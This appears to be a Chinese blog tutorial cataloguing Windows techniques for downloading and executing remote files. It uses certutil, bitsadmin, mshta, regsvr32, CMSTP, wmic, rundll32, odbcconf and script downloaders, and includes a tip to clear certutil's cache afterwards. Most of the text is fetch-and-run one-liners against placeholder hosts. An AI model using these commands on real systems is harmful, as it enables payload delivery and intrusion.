windows文件下载方式总结

1
好好学习,天天向上

​ 我认为按照我们平时对于远程加载文件的需求,可以按照能否加载任意格式的文件来进行区分,有些下载方式,可以去远程下载任意格式的文件,比如exe,txt等等,但是有些则是有限制的,只能下载指定格式的文件,比如js,xls,msi等等。还有些方式也可以下载或者加载远程的文件,但是不是windows自带的方式,所以也可以把这种方式当作一种类型进行总结。最后还有一些方式不能通过http协议进行下载,但是可以通过smb协议进行下载文件,这也可以列为一种方式。

下载任意格式文件

powershell

方法一:

1
powershell (new-object System.Net.WebClient).DownloadFile('http://xxx:6666/1.txt','C:\Windows\Temp\2.txt')

image-20200812213732096

方法二:

      首先准备一个ps脚本,内容如下
1
2
3
4
5
6
7
$Urls = @()
$Urls += "http://xxx:6666/foo.xsl"
$OutPath = "C:\Windows\Temp\"
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file)
}

​ 使用下面命令执行下载文件

1
powershell -exec bypass -File down.ps1

image-20200812214929736

certutil

​ 用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。

1
certutil -urlcache -split -f http://xxx:6666/1.txt c:\windows\temp\test.txt

image-20200820104905690

1
certutil -urlcache -split -f http://ccc:6666/1.txt delete  删除缓存

image-20200820105120705

bitsadmin

​ bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。

1
bitsadmin /transfer n http://xxxx:6666/1.txt C:\Windows\Temp\3.txt

image-20200820105507751

vbs

方法一:

​ 可以使用vbs脚本来执行文件下载操作,vbs内容如下

1
set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 

​ 再使用cscript加载该文件执行下载写入的功能

1
cscript /nologo downfile.vbs http://xxx:801/1.txt c:\windows\temp\1.txt

image-20200821100115562

​ 甚至也可以使用cmd先写入vbs文件,最后再调用vbs执行下载功能

1
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs

方法二:

​ 还可以使用其他的下载vbs脚本文件执行下载功能,文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
strFileURL = "http://119.xxx.xxx.xxx/1.txt"
strHDLocation = "1.txt"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing

image-20200821104803291

js

方法一:

​ 首先准备一个js文件,文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var objArgs = WScript.Arguments;var sGet=new ActiveXObject("ADODB.Stream");var xGet = false;
try {
xGet = new XMLHttpRequest();
}
catch (trymicrosoft) {
try {
xGet = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (othermicrosoft) {
try {
xGet = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (failed) {
xGet = false;
}
}
}
xGet.Open ("GET",objArgs(0).toLowerCase(),0);xGet.Send();sGet.Mode=3;sGet.Type=1;sGet.Open();sGet.Write (xGet.ResponseBody);sGet.SaveToFile (objArgs(1).toLowerCase(),2);

​ 通过cscript调用该文件执行下载操作

1
cscript /nologo down.js http://xxx:801/1.txt c:\windows\temp\test123123.txt

image-20200821105402895

方法二:

​ 准备一个js文件,文件内容如下

1
2
3
4
5
6
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;
BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("test12312223123.txt");

​ 执行如下命令进行下载文件操作

1
cscript /nologo down2.js http://xxx:801/1.txt

image-20200821110118839

注意

​ 方法二这种文件下载方式有一些缺点,首先不能指定绝对路径,否则会写入失败,另外,文件名也不能和系统在该目录下已有的文件名冲突,否则也会写入失败。

certreq

​ 在 Windows Server 2008 R2 上提供了 Microsoft certreq 实用程序,可使用该实用程序生成 CSR 和导入签名证书。下载命令如下

1
CertReq -Post -config http://xxx:801/1.txt c:\windows\win.ini c:\windows\temp\output.txt 

image-20200821110958332

​ 这个程序虽然可以下载任意形式的文件,但是又有两个限制,第一个限制就是在serever 2008 r2以上的系统。第二个就是长度限制,不能下载超过60k的文件。这种文件下载的方式如果文件存在也会报错,因此使用这种方式下载文件,文件名不能和已有的文件名相同。

python

1
python -c "from urllib import urlretrieve; urlretrieve('http://xxx:801/1.txt', 'C:\\Windows\\Temp\\test8866.txt')"

image-20200821114745482

Defender

1
"C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.18.2008.9-0\\MpCmdRun.exe" -DownloadFile -URL http://xxxx:8888/dnsClient.zip -path C:\\Users\\admin\\Desktop\\test666.zip

image-20200903134638844

image-20200903134655822

下载指定格式文件

msiexec

​ 使用msiexec可以下载并执行msi文件

1
msiexec /q /i http://xxxx:8011/test666.msi

image-20200821134222982

mshta

​ mshta可以远程加载hta文件并执行

1
mshta http://xxx.xxx.xxx.xxx:801/download/file.ext

image-20200821134354798

regsvr32

​ 使用regsvr32可以远程加载并执行sct文件

1
regsvr32 /u /s /i:http://xxx:8011/test8866.sct scrobj.dll

image-20200821135750174

CMSTP

​ 使用cmstp加载本地的inf文件,inf中再去加载远程的sct文件。

inf中的内容如下:

1
2
3
4
5
6
7
8
9
10
11
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

​ 再使用如下命令加载inf文件

1
cmstp.exe /s xxx.inf

image-20200821140228440

​ 使用这种方式加载并执行远程的文件有个缺陷,就是会在执行的目录下生成一个快捷方式文件还有一个cmp文件。

wmic

​ 使用wmic可以加载并执行远程的xsl文件

1
wmic process get brief /format:"http://xxx:8080/launcher.xsl"

image-20200821140727620

WCS

​ 首先创建一个js文件,文件内容如下

1
GetObject("script:http://xxxx:8011/test.wsc");

​ 使用cscript执行js文件,加载并执行远程的wsc文件

1
csript  1.js

image-20200821141107404

​ wsc文件中的内容如下

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>    
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>

rundll32

​ rundll32本身并不能达到加载并且运行远程文件的目的,不过可以配合其他方式来下载远程文件并执行

比如可以加载hta文件

1
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/mshta.exe http://xxx.xxx.xxx.xxx:8011/test.hta",0,true);self.close();

image-20200821141739314

非自带程序

msxsl

​ msxsl.exe可以去加载远程的xsl文件

1
msxsl.exe http://xxx.xxx.xxx.xxx:8011/test.xsl  http://xx.xxx.xx.xx:8011/test.xsl

image-20200821142928346

​ xsl文件内容如下

1
2
3
4
5
6
7
8
9
10
11
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]> </ms:script>
</stylesheet>

nc

​ 首先在自己的服务端执行如下命令

1
nc -lvp 4444 < evil.exe

image-20200821145912928

​ 在客户端执行下面的命令进行文件下载

1
nc  xxxxx 4444 >evil.exe

image-20200821150020632

curl

​ 有些主机上安装了curl,因此也可以使用curl进行文件下载操作

1
curl http://xxx:1234/evil.exe -o test123123.exe

image-20200821150327583

chfs

​ 这款工具可以在主机上开启一个web服务,我们可以通过这个web服务对主机上的文件进行增删改查,这个方式比较适合在内网去使用。

​ 上传到目标主机,在某个目录下执行这个文件,即可将当前目录共享出去

image-20200821155948134

​ 在web下访问,即可对目录下的文件进行操作。

image-20200821160044054

SMB协议下载

IPC

1
copy C:\Users\jerry\Desktop\test666.inf \\192.168.3.144\c$\windows\temp\

image-20200821164751755

CMD

​ 使用这种方式可以在本地加载远程的文件执行

1
cmd.exe /k \\192.168.3.144\c$\windows\temp\calc.exe

image-20200821165453771

cscript

​ 使用这种方式可以加载远程的js并且执行

1
cscript  \\192.168.3.144\c$\windows\temp\test.js

image-20200821170207437

Odbcconf

​ 使用这种方式可以加载远程的dll进行执行

1
odbcconf.exe /a {regsvr \\192.168.3.144\c$\windows\temp\test.dll}

image-20200821172655915

​ 需要注意编译的dll的版本要和windows的版本相对应。

总结

​ 关于windows下文件下载的方式先总结这么多,这些文件下载方式的种类虽然非常多,还是要选择适合自己当前环境的方式来选择对应的方法利用。

参考文章

windows命令执行漏洞不会玩? 看我!

Windows下命令行下载文件总结

windows/Linux文件下载方式汇总